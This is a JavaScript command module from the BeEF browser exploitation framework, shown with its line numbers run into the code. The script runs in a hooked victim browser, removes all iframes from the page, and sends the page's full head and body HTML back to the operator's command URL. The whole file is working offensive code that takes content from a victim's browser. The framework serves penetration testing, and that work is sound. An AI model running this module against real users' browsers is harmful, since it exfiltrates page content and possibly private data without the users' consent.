Path: blob/master/modules/browser/hooked_origin/remove_stuck_iframes/command.js
1154 views
//1// Copyright (c) 2006-2025Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78try {9var html_head = document.head.innerHTML.toString();10} catch (e) {11var html_head = "Error: document has no head";12}13try {14var html_body = document.body.innerHTML.toString();15} catch (e) {16var html_body = "Error: document has no body";17}18try {19var iframes = document.getElementsByTagName('iframe');20var iframe_count = iframes.length;21for(var i=0; i<iframe_count; i++){22beef.net.send("<%= @command_url %>", <%= @command_id %>, 'iframe_result=iframe'+i+'_found');23iframes[i].parentNode.removeChild(iframes[i]);24beef.net.send("<%= @command_url %>", <%= @command_id %>, 'iframe_result=iframe'+i+'_removed');25}26var iframe_ = "Info: "+ iframe_count +" iframe(s) processed";27} catch (e) {28var iframe_ = "Error: can not remove iframe";29}3031beef.net.send("<%= @command_url %>", <%= @command_id %>, 'head='+html_head+'&body='+html_body+'&iframe_='+iframe_);3233});34353637